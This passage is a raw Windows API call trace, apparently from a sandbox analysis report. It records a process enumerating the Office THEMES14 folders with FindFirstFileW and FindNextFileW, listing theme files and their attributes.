lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.320] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0042.321] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.321] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.321] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0042.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.322] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.322] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0042.322] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.322] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.322] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0042.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.323] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.323] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0042.323] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.323] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0042.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.324] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0042.324] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0042.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.325] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.325] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0042.325] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.325] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.326] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0042.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.577] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.577] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0042.578] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.578] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.578] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0042.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.578] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.578] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0042.579] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.579] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.579] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0042.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.579] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.579] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0042.580] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.580] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.580] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0042.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.580] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.580] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0042.580] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.581] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.581] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0042.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.581] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.581] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0042.581] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.581] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.581] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0042.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.582] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.582] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.582] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.582] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.582] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 